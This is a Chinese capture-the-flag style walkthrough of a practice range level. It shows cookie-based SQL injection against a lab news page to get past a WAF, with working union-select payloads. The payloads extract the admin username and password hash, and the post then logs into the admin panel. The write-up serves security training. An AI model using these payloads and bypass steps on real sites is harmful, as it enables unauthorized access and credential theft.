封神台第二关

点击传送门

来到目标公司网站

可以看到有很多的网页

现在我们需要寻找注入点,注入点存在的页面一般可以明显的显示出正确页面和错误页面

这里可以看到有新闻页面

有新闻的一般选择新闻页面

我们点击第一个新闻

进来后可以看到

URL为

http://g8wepfcp.ia.aqlab.cn/shownews.asp?id=171

开始试探

(1)判断waf拦截的关键字

'触发waf

and触发waf

or触发waf

select触发waf

union order by不会触发waf

--+不能被数据库识别,要使用#

(2)联合查询注入尝试

得到注入点数量,构建联合查询语句

?id=171 union select 1,2,3,4,5,6,7,8,9,10#

利用SQL绕过手法使得select可用

试图转码绕过失败

试图利用/**/和/*!*/绕过失败

放弃联合查询

(3)cookies绕过尝试

尝试cookies绕过

直接访问http://g8wepfcp.ia.aqlab.cn/shownews.asp

利用bp抓包,将原cookies值

Cookie: ASPSESSIONIDACQTQQAS=OKOJFAODPDJCCFEKBAECGJDK

改为

Cookie: id=171

访问网页,发现访问的页面正常输出,cookies可以当值来用

将值改为联合查询语句

并猜测表admin的存在性

Cookie: id=171+union+select+1,2,3,4,5,6,7,8,9,10+from+admin

页面返回正常,说明admin表存在

且页面返回的字段有2,3,7,8,9

这时可以将注入点2,3,7,8,9替换为字段名,用这种方式来猜测字段的存在,并体现返回值

Cookie: id=171+union+select+1,username,password,4,5,6,7,8,9,10+from+admin

页面返回

username:admin

password:b9a2a2b5dffb918c

利用bp解码后

password为welcome

利用御剑后台扫描工具

得到后台网站

http://g8wepfcp.ia.aqlab.cn/admin/Login.asp

输入账户密码

成功通过

相关推荐
云水一下4 天前
零基础玩转bWAPP靶场(七十一):Slow HTTP DoS(慢速HTTP拒绝服务)
web安全·bwapp·slowhttptest
这个DBA有点耶4 天前
MVCC深入:Read View、版本链与快照读——InnoDB并发控制的内核
数据库·mysql·架构
DBA_G4 天前
从地面到云霄:GBase数据库在民航三大场景的落地实践
数据库
自由能燃气设备4 天前
商用全预混低氮冷凝锅炉免费方案vs付费方案对比+选型避坑指南
大数据·数据库·人工智能
科创致远4 天前
科创致远 ESOP 系统核心效能与实战价值展示
大数据·数据库·人工智能·精益工程
龙亘川4 天前
一网统管AI平台民生业务实践:基于城市数字底座赋能公积金业务服务升级
大数据·安全·智慧城市·开源软件·数据可视化·政务
漂着的圆木4 天前
Agent 功能参与度:Copilot 怎么算
sql·数据分析·agent·githubcopilot·度量
kybs19914 天前
全球灾害数据分析可视化 毕业设计-附源码66794
vue.js·spring boot·mysql·安全·django·c#·asp.net
2601_962218614 天前
万象生鲜系统称重自动多退少补算法解决生鲜非标品痛点
大数据·数据库·人工智能·python·算法